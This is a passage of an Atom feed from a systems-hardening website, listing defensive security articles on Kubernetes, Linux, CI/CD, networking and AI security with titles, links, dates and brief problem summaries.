    <link href="https://www.systemshardening.com/articles/ai-landscape/claude-code-vulnerability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/claude-code-vulnerability/</id>
    <published>2026-03-31T00:00:00.000Z</published>
    <updated>2026-03-31T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Claude for Application Security: Finding Logic Vulnerabilities in Source Code
Problem
Static application security testing (SAST) tools find pattern-based vulnerabilities effectively. Semgrep matches...</summary>
  </entry>
  
  <entry>
    <title>API Gateway Security: Authentication, Authorization, and Request Validation</title>
    <link href="https://www.systemshardening.com/articles/network/api-gateway-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/api-gateway-security/</id>
    <published>2026-03-30T00:00:00.000Z</published>
    <updated>2026-03-30T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>API Gateway Security: Authentication, Authorization, and Request Validation
Problem
Without a centralized API gateway, authentication and authorization logic is duplicated in every backend service....</summary>
  </entry>
  
  <entry>
    <title>Auditing AI Actions at Scale: Building Tamper-Proof Logs for Non-Human Actors</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/auditing-ai-actions/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/auditing-ai-actions/</id>
    <published>2026-03-29T00:00:00.000Z</published>
    <updated>2026-03-29T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Auditing AI Actions at Scale: Building Tamper-Proof Logs for Non-Human Actors
Problem
AI agents operate at machine speed, generating 10-100x the audit data of human operators. A single agent making 50...</summary>
  </entry>
  
  <entry>
    <title>Container Registry Security: Access Control, Vulnerability Scanning, and Garbage Collection</title>
    <link href="https://www.systemshardening.com/articles/cicd/container-registry-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/container-registry-security/</id>
    <published>2026-03-29T00:00:00.000Z</published>
    <updated>2026-03-29T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Container Registry Security: Access Control, Vulnerability Scanning, and Garbage Collection
Problem
Container registries store the most sensitive artifacts in your deployment pipeline. Every image...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Network Policies That Actually Work: From Default Deny to Microsegmentation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-network-policies/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-network-policies/</id>
    <published>2026-03-29T00:00:00.000Z</published>
    <updated>2026-03-29T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Network Policies That Actually Work: From Default Deny to Microsegmentation
Problem
By default, every pod in a Kubernetes cluster can communicate with every other pod across all namespaces....</summary>
  </entry>
  
  <entry>
    <title>Compliance-as-Code: Mapping CIS Benchmarks to Automated Checks with InSpec and Kube-bench</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/compliance-as-code/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/compliance-as-code/</id>
    <published>2026-03-28T00:00:00.000Z</published>
    <updated>2026-03-28T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Compliance-as-Code: Mapping CIS Benchmarks to Automated Checks with InSpec and Kube-bench
Problem
Manual compliance audits are point-in-time snapshots that are outdated before the report is written....</summary>
  </entry>
  
  <entry>
    <title>LLM Cost Controls: Budget Enforcement, Token Metering, and Spend Alerting</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/llm-cost-controls/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/llm-cost-controls/</id>
    <published>2026-03-28T00:00:00.000Z</published>
    <updated>2026-03-28T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>LLM Cost Controls: Budget Enforcement, Token Metering, and Spend Alerting
Problem
LLM costs are unpredictable by default. A single API call to a frontier model can cost $0.001 or $2.00 depending on...</summary>
  </entry>
  
  <entry>
    <title>Pipeline-as-Code Security: Preventing CI Configuration Tampering</title>
    <link href="https://www.systemshardening.com/articles/cicd/pipeline-config-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/pipeline-config-security/</id>
    <published>2026-03-26T00:00:00.000Z</published>
    <updated>2026-03-26T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Pipeline-as-Code Security: Preventing CI Configuration Tampering
Problem
CI/CD pipeline definitions live alongside application code in Git. Whoever can modify .github/workflows/, .gitlab-ci.yml, or...</summary>
  </entry>
  
  <entry>
    <title>Kubelet Security Configuration: Authentication, Authorization, and Read-Only Port</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubelet-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubelet-security/</id>
    <published>2026-03-26T00:00:00.000Z</published>
    <updated>2026-03-26T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubelet Security Configuration: Authentication, Authorization, and Read-Only Port
Problem
The kubelet runs on every node in the cluster with root-level access to the container runtime, all pod...</summary>
  </entry>
  
  <entry>
    <title>Hardening GRUB and the Boot Process: Secure Boot, Boot Passwords, and Tamper Detection</title>
    <link href="https://www.systemshardening.com/articles/linux/grub-boot-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/grub-boot-hardening/</id>
    <published>2026-03-23T00:00:00.000Z</published>
    <updated>2026-03-23T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening GRUB and the Boot Process: Secure Boot, Boot Passwords, and Tamper Detection
Problem
Without boot security, an attacker with physical access or console access (BMC, IPMI, cloud serial...</summary>
  </entry>
  
  <entry>
    <title>MCP Transport Security: Securing stdio, SSE, and HTTP Channels for Model Context Protocol</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-transport-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-transport-security/</id>
    <published>2026-03-22T00:00:00.000Z</published>
    <updated>2026-03-22T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>MCP Transport Security: Securing stdio, SSE, and HTTP Channels for Model Context Protocol
Problem
The Model Context Protocol defines how AI agents communicate with tool servers. The transport layer is...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes RBAC Design Patterns: Least Privilege Without Paralysing Developers</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/rbac-design-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/rbac-design-patterns/</id>
    <published>2026-03-22T00:00:00.000Z</published>
    <updated>2026-03-22T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes RBAC Design Patterns: Least Privilege Without Paralysing Developers
Problem
RBAC sprawl in multi-team Kubernetes clusters grows past 100 role bindings within months. The core tension is...</summary>
  </entry>
  
  <entry>
    <title>Claude for Kubernetes Security Auditing: Finding Privilege Escalation Paths Scanners Cannot See</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/claude-kubernetes-audit/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/claude-kubernetes-audit/</id>
    <published>2026-03-21T00:00:00.000Z</published>
    <updated>2026-03-21T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Claude for Kubernetes Security Auditing: Finding Privilege Escalation Paths Scanners Cannot See
Problem
Kubernetes security scanners evaluate resources individually. Tools like kube-bench check node...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Secrets Management: External Secrets Operator, Vault, and Sealed Secrets</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/secrets-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/secrets-management/</id>
    <published>2026-03-21T00:00:00.000Z</published>
    <updated>2026-03-21T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Secrets Management: External Secrets Operator, Vault, and Sealed Secrets
Problem
Kubernetes Secrets are base64-encoded, not encrypted. Running kubectl get secret my-secret -o...</summary>
  </entry>
  
  <entry>
    <title>LLM Jailbreak Defence: Detecting and Preventing System Prompt Bypasses in Production</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-jailbreak-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-jailbreak-defence/</id>
    <published>2026-03-20T00:00:00.000Z</published>
    <updated>2026-03-20T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Jailbreak Defence: Detecting and Preventing System Prompt Bypasses in Production
Problem
LLM jailbreaks are inputs that cause a model to ignore its system prompt, safety training, or usage...</summary>
  </entry>
  
  <entry>
    <title>AI Incident Forensics: Reconstructing What an AI System Did, Why, and What Data It Accessed</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-incident-forensics/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-incident-forensics/</id>
    <published>2026-03-19T00:00:00.000Z</published>
    <updated>2026-03-19T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>AI Incident Forensics: Reconstructing What an AI System Did, Why, and What Data It Accessed
Problem
When a traditional application causes an incident, you examine logs, traces, and database queries to...</summary>
  </entry>
  
  <entry>
    <title>TLS 1.3 Configuration for NGINX and Envoy: Ciphers, Certificates, and OCSP Stapling</title>
    <link href="https://www.systemshardening.com/articles/network/tls-nginx-envoy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/tls-nginx-envoy/</id>
    <published>2026-03-19T00:00:00.000Z</published>
    <updated>2026-03-19T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>TLS 1.3 Configuration for NGINX and Envoy: Ciphers, Certificates, and OCSP Stapling
Problem
TLS misconfiguration remains one of the most common security findings in production infrastructure. Servers...</summary>
  </entry>
  
  <entry>
    <title>Verifying AI Agent Output: Deterministic Checks, Human-in-the-Loop Gates, and Rollback Safety</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-agent-output-verification/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-agent-output-verification/</id>
    <published>2026-03-18T00:00:00.000Z</published>
    <updated>2026-03-18T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Verifying AI Agent Output: Deterministic Checks, Human-in-the-Loop Gates, and Rollback Safety
Problem
AI agents generate infrastructure configurations, database migrations, deployment manifests, and...</summary>
  </entry>
  
  <entry>
    <title>Hardening Helm Values: Schema Validation, Secret Injection, and Security Defaults</title>
    <link href="https://www.systemshardening.com/articles/cicd/helm-values-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/helm-values-hardening/</id>
    <published>2026-03-18T00:00:00.000Z</published>
    <updated>2026-03-18T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Hardening Helm Values: Schema Validation, Secret Injection, and Security Defaults
Problem
Helm values files are the primary interface for configuring Kubernetes workloads, and they control...</summary>
  </entry>
  
  <entry>
    <title>Hardening Model Inference Endpoints: Authentication, Rate Limiting, and Input Validation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/inference-endpoint-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/inference-endpoint-hardening/</id>
    <published>2026-03-18T00:00:00.000Z</published>
    <updated>2026-03-18T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Hardening Model Inference Endpoints: Authentication, Rate Limiting, and Input Validation
Problem
Model inference endpoints are GPU-backed and expensive, $2-30 per hour per GPU. A single unprotected...</summary>
  </entry>
  
  <entry>
    <title>mTLS for Service-to-Service Communication: Istio, Linkerd, and DIY with cert-manager</title>
    <link href="https://www.systemshardening.com/articles/network/mtls-service-mesh/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/mtls-service-mesh/</id>
    <published>2026-03-18T00:00:00.000Z</published>
    <updated>2026-03-18T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>mTLS for Service-to-Service Communication: Istio, Linkerd, and DIY with cert-manager
Problem
Internal service-to-service traffic in most Kubernetes clusters is plaintext. Once an attacker compromises...</summary>
  </entry>
  
  <entry>
    <title>Securing MCP Servers: Authentication, Tool Sandboxing, and Input Validation for Model Context Protocol</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-server-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-server-security/</id>
    <published>2026-03-17T00:00:00.000Z</published>
    <updated>2026-03-17T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Securing MCP Servers: Authentication, Tool Sandboxing, and Input Validation for Model Context Protocol
Problem
The Model Context Protocol (MCP) gives AI agents structured access to tools: filesystem...</summary>
  </entry>
  
  <entry>
    <title>Securing CI/CD Runners: Isolation, Credential Scoping, and Ephemeral Environments</title>
    <link href="https://www.systemshardening.com/articles/cicd/securing-cicd-runners/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/securing-cicd-runners/</id>
    <published>2026-03-14T00:00:00.000Z</published>
    <updated>2026-03-14T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Securing CI/CD Runners: Isolation, Credential Scoping, and Ephemeral Environments
Problem
CI/CD runners are the most privileged, least monitored components in most infrastructure. A self-hosted runner...</summary>
  </entry>
  
  <entry>
    <title>Hardening PostgreSQL for Production: Authentication, Encryption, Row-Level Security, and Audit Logging</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/postgresql-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/postgresql-hardening/</id>
    <published>2026-03-13T00:00:00.000Z</published>
    <updated>2026-03-13T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Hardening PostgreSQL for Production: Authentication, Encryption, Row-Level Security, and Audit Logging
Problem
PostgreSQL defaults prioritise developer convenience over security. A stock installation...</summary>
  </entry>
  
  <entry>
    <title>Lateral Movement Detection: Network Patterns, Authentication Anomalies, and Alert Correlation</title>
    <link href="https://www.systemshardening.com/articles/observability/lateral-movement-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/lateral-movement-detection/</id>
    <published>2026-03-13T00:00:00.000Z</published>
    <updated>2026-03-13T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Lateral Movement Detection: Network Patterns, Authentication Anomalies, and Alert Correlation
Problem
East-west traffic inside a Kubernetes cluster is a blind spot for most security teams. Once an...</summary>
  </entry>
  
  <entry>
    <title>Hardening /proc and /sys: Restricting Kernel Information Disclosure</title>
    <link href="https://www.systemshardening.com/articles/linux/proc-sys-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/proc-sys-hardening/</id>
    <published>2026-03-11T00:00:00.000Z</published>
    <updated>2026-03-11T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening /proc and /sys: Restricting Kernel Information Disclosure
Problem
/proc and /sys are virtual filesystems that expose kernel internals, hardware details, and process information to userspace....</summary>
  </entry>
  
  <entry>
    <title>Claude for Infrastructure-as-Code Security Review: Terraform, CloudFormation, and Pulumi</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/claude-iac-review/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/claude-iac-review/</id>
    <published>2026-03-10T00:00:00.000Z</published>
    <updated>2026-03-10T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Claude for Infrastructure-as-Code Security Review: Terraform, CloudFormation, and Pulumi
Problem
Infrastructure-as-Code scanners like Checkov, tflint, and cfn-lint enforce policy through pattern...</summary>
  </entry>
  
  <entry>
    <title>LLM Prompt Security Patterns: System Prompt Protection, Input Sanitisation, and Context Isolation</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-prompt-security-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-prompt-security-patterns/</id>
    <published>2026-03-10T00:00:00.000Z</published>
    <updated>2026-03-10T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Prompt Security Patterns: System Prompt Protection, Input Sanitisation, and Context Isolation
Problem
Every LLM application has a system prompt. It defines the model’s role, its constraints, what...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Admission Control: From PodSecurity Standards to Custom OPA/Kyverno Policies</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-admission-control/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-admission-control/</id>
    <published>2026-03-10T00:00:00.000Z</published>
    <updated>2026-03-10T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Admission Control: From PodSecurity Standards to Custom OPA/Kyverno Policies
Problem
Without admission control, any user with deployment permissions can run privileged containers, mount the...</summary>
  </entry>
  
  <entry>
    <title>Algorithmic Auditing: Testing AI Systems for Bias, Fairness, and Safety Before Deployment</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/algorithmic-auditing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/algorithmic-auditing/</id>
    <published>2026-03-09T00:00:00.000Z</published>
    <updated>2026-03-09T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Algorithmic Auditing: Testing AI Systems for Bias, Fairness, and Safety Before Deployment
Problem
AI systems make decisions that affect people: who gets approved for a loan, whose resume gets...</summary>
  </entry>
  
  <entry>
    <title>Hardening a Complete Kubernetes Platform: From Cluster Bootstrap to Production-Ready</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/complete-kubernetes-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/complete-kubernetes-hardening/</id>
    <published>2026-03-09T00:00:00.000Z</published>
    <updated>2026-03-09T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Hardening a Complete Kubernetes Platform: From Cluster Bootstrap to Production-Ready
Problem
A fresh Kubernetes cluster (whether bootstrapped with kubeadm, k3s, or provisioned by a managed provider)...</summary>
  </entry>
  
  <entry>
    <title>AI Data Leakage Prevention: Input Filtering, Output Scanning, and Audit Trails</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-data-leakage-prevention/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-data-leakage-prevention/</id>
    <published>2026-03-08T00:00:00.000Z</published>
    <updated>2026-03-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>AI Data Leakage Prevention: Input Filtering, Output Scanning, and Audit Trails
Problem
AI systems leak data in ways traditional applications do not. A language model trained on customer data can...</summary>
  </entry>
  
  <entry>
    <title>Linux Audit Framework Deep Dive: auditd Rules, auditctl, and ausearch for Security Monitoring</title>
    <link href="https://www.systemshardening.com/articles/linux/auditd-deep-dive/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/auditd-deep-dive/</id>
    <published>2026-03-08T00:00:00.000Z</published>
    <updated>2026-03-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Audit Framework Deep Dive: auditd Rules, auditctl, and ausearch for Security Monitoring
Problem
auditd is the kernel-level audit system on Linux, it captures syscalls, file access, user...</summary>
  </entry>
  
  <entry>
    <title>Jupyter Notebook Security: Authentication, Isolation, and Data Protection</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/jupyter-notebook-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/jupyter-notebook-security/</id>
    <published>2026-03-06T00:00:00.000Z</published>
    <updated>2026-03-06T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Jupyter Notebook Security: Authentication, Isolation, and Data Protection
Problem
JupyterHub is a code execution platform. Every notebook cell is arbitrary code running with whatever permissions the...</summary>
  </entry>
  
  <entry>
    <title>gRPC Load Balancing Security: Client-Side, Proxy, and Service Mesh Patterns</title>
    <link href="https://www.systemshardening.com/articles/network/grpc-load-balancing-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/grpc-load-balancing-security/</id>
    <published>2026-03-05T00:00:00.000Z</published>
    <updated>2026-03-05T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>gRPC Load Balancing Security: Client-Side, Proxy, and Service Mesh Patterns
Problem
gRPC uses HTTP/2, which multiplexes many requests over a single TCP connection. This creates a fundamental conflict...</summary>
  </entry>
  
  <entry>
    <title>Security-Relevant Prometheus Metrics: What to Collect, How to Alert, When to Page</title>
    <link href="https://www.systemshardening.com/articles/observability/prometheus-security-metrics/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/prometheus-security-metrics/</id>
    <published>2026-03-05T00:00:00.000Z</published>
    <updated>2026-03-05T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security-Relevant Prometheus Metrics: What to Collect, How to Alert, When to Page
Problem
Prometheus is deployed in most Kubernetes environments for infrastructure monitoring (CPU, memory, disk,...</summary>
  </entry>
  
  <entry>
    <title>Claude, Mythos, and the Non-Human Infrastructure Consumer: Writing Hardening Guides for AI Agents</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/claude-non-human-consumers/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/claude-non-human-consumers/</id>
    <published>2026-03-04T00:00:00.000Z</published>
    <updated>2026-03-04T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Claude, Mythos, and the Non-Human Infrastructure Consumer: Writing Hardening Guides for AI Agents
Problem
AI models are no longer just tools that engineers use to write code. They are becoming direct...</summary>
  </entry>
  
  <entry>
    <title>Incident Response Hardening Playbook: From Detection to Post-Mortem</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/incident-response-hardening-playbook/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/incident-response-hardening-playbook/</id>
    <published>2026-03-02T00:00:00.000Z</published>
    <updated>2026-03-02T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Incident Response Hardening Playbook: From Detection to Post-Mortem
Problem
During an active security incident, hardening is reactive: isolate the compromised system, contain the blast radius,...</summary>
  </entry>
  
  <entry>
    <title>Multi-Tenancy Hardening in Kubernetes: Namespace Isolation, Resource Quotas, and Network Boundaries</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/multi-tenancy-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/multi-tenancy-hardening/</id>
    <published>2026-03-02T00:00:00.000Z</published>
    <updated>2026-03-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Multi-Tenancy Hardening in Kubernetes: Namespace Isolation, Resource Quotas, and Network Boundaries
Problem
Kubernetes namespaces provide logical separation, not security isolation. By default, pods...</summary>
  </entry>
  
  <entry>
    <title>DNS Security for Production Infrastructure: DNSSEC, CAA Records, and Internal Resolution</title>
    <link href="https://www.systemshardening.com/articles/network/dns-security-dnssec-caa/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/dns-security-dnssec-caa/</id>
    <published>2026-03-02T00:00:00.000Z</published>
    <updated>2026-03-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>DNS Security for Production Infrastructure: DNSSEC, CAA Records, and Internal Resolution
Problem
DNS is the most critical single point of failure in any infrastructure, and the least hardened layer...</summary>
  </entry>
  
  <entry>
    <title>Securing Helm Charts: Chart Signing, Value Injection, and Template Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/helm-chart-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/helm-chart-security/</id>
    <published>2026-03-01T00:00:00.000Z</published>
    <updated>2026-03-01T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Securing Helm Charts: Chart Signing, Value Injection, and Template Security
Problem
Helm is the dominant package manager for Kubernetes, but most teams install charts without verifying provenance,...</summary>
  </entry>
  
  <entry>
    <title>Building a Content Filtering Pipeline for LLM Applications: From Raw Input to Safe Output</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-content-filtering-pipeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-content-filtering-pipeline/</id>
    <published>2026-03-01T00:00:00.000Z</published>
    <updated>2026-03-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Building a Content Filtering Pipeline for LLM Applications: From Raw Input to Safe Output
Problem
A single content filter is not a pipeline. Most LLM deployments add one filter (usually on output) and...</summary>
  </entry>
  
  <entry>
    <title>AI Red Teaming Methodology: Structured Adversarial Testing for LLM Applications</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-red-teaming/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-red-teaming/</id>
    <published>2026-03-01T00:00:00.000Z</published>
    <updated>2026-03-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>AI Red Teaming Methodology: Structured Adversarial Testing for LLM Applications
Problem
Traditional security testing (penetration testing, vulnerability scanning) does not cover AI-specific attack...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Image Policy Enforcement: Cosign, Notation, and Admission Webhooks</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/image-policy-enforcement/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/image-policy-enforcement/</id>
    <published>2026-02-26T00:00:00.000Z</published>
    <updated>2026-02-26T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Image Policy Enforcement: Cosign, Notation, and Admission Webhooks
Problem
Without image policy enforcement, any container image from any registry can run in a Kubernetes cluster. A...</summary>
  </entry>
  
  <entry>
    <title>Linux Firewall Hardening with nftables: Replacing iptables in Production</title>
    <link href="https://www.systemshardening.com/articles/linux/nftables/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/nftables/</id>
    <published>2026-02-26T00:00:00.000Z</published>
    <updated>2026-02-26T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Firewall Hardening with nftables: Replacing iptables in Production
Problem
iptables is deprecated. nftables is the replacement in every modern Linux kernel (5.0+). Most teams either still use...</summary>
  </entry>
  
  <entry>
    <title>Helm Supply Chain Security: OCI Registries, Provenance Verification, and Chart Mirroring</title>
    <link href="https://www.systemshardening.com/articles/cicd/helm-supply-chain-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/helm-supply-chain-security/</id>
    <published>2026-02-25T00:00:00.000Z</published>
    <updated>2026-02-25T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Helm Supply Chain Security: OCI Registries, Provenance Verification, and Chart Mirroring
Problem
Helm charts are executable Kubernetes manifests packaged as tarballs. Most teams install them without...</summary>
  </entry>
  
  <entry>
    <title>Security Infrastructure Disaster Recovery: Vault, PKI, and SIEM Failover</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-infra-disaster-recovery/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-infra-disaster-recovery/</id>
    <published>2026-02-24T00:00:00.000Z</published>
    <updated>2026-02-24T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Infrastructure Disaster Recovery: Vault, PKI, and SIEM Failover
Problem
When your security infrastructure fails, you are flying blind. If Vault is down, applications cannot retrieve secrets...</summary>
  </entry>
  
  <entry>
    <title>Securing RAG Pipelines: Vector Database Access Control, Document Poisoning, and Retrieval Filtering</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/rag-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/rag-security/</id>
    <published>2026-02-24T00:00:00.000Z</published>
    <updated>2026-02-24T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Securing RAG Pipelines: Vector Database Access Control, Document Poisoning, and Retrieval Filtering
Problem
Retrieval-Augmented Generation (RAG) adds a knowledge base to LLM applications, the model...</summary>
  </entry>
  
  <entry>
    <title>Detecting AI-Generated Attacks: Moving from Signatures to Behavioural Baselines</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/detecting-ai-attacks/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/detecting-ai-attacks/</id>
    <published>2026-02-23T00:00:00.000Z</published>
    <updated>2026-02-23T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Detecting AI-Generated Attacks: Moving from Signatures to Behavioural Baselines
Problem
Signature-based detection (WAF CRS rules, static Falco rules, antivirus signatures) matches “known bad.”...</summary>
  </entry>
  
  <entry>
    <title>Pod Security Context Deep Dive: runAsNonRoot, readOnlyRootFilesystem, and Capabilities</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/pod-security-context/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/pod-security-context/</id>
    <published>2026-02-23T00:00:00.000Z</published>
    <updated>2026-02-23T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Pod Security Context Deep Dive: runAsNonRoot, readOnlyRootFilesystem, and Capabilities
Problem
Kubernetes SecurityContext has over 15 configurable fields, but most teams only set runAsNonRoot: true...</summary>
  </entry>
  
  <entry>
    <title>WAF Rule Tuning That Does Not Break Legitimate Traffic: ModSecurity and Coraza in Practice</title>
    <link href="https://www.systemshardening.com/articles/network/waf-rule-tuning/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/waf-rule-tuning/</id>
    <published>2026-02-22T00:00:00.000Z</published>
    <updated>2026-02-22T00:00:00.000Z</updated>
    <category term="network"/>
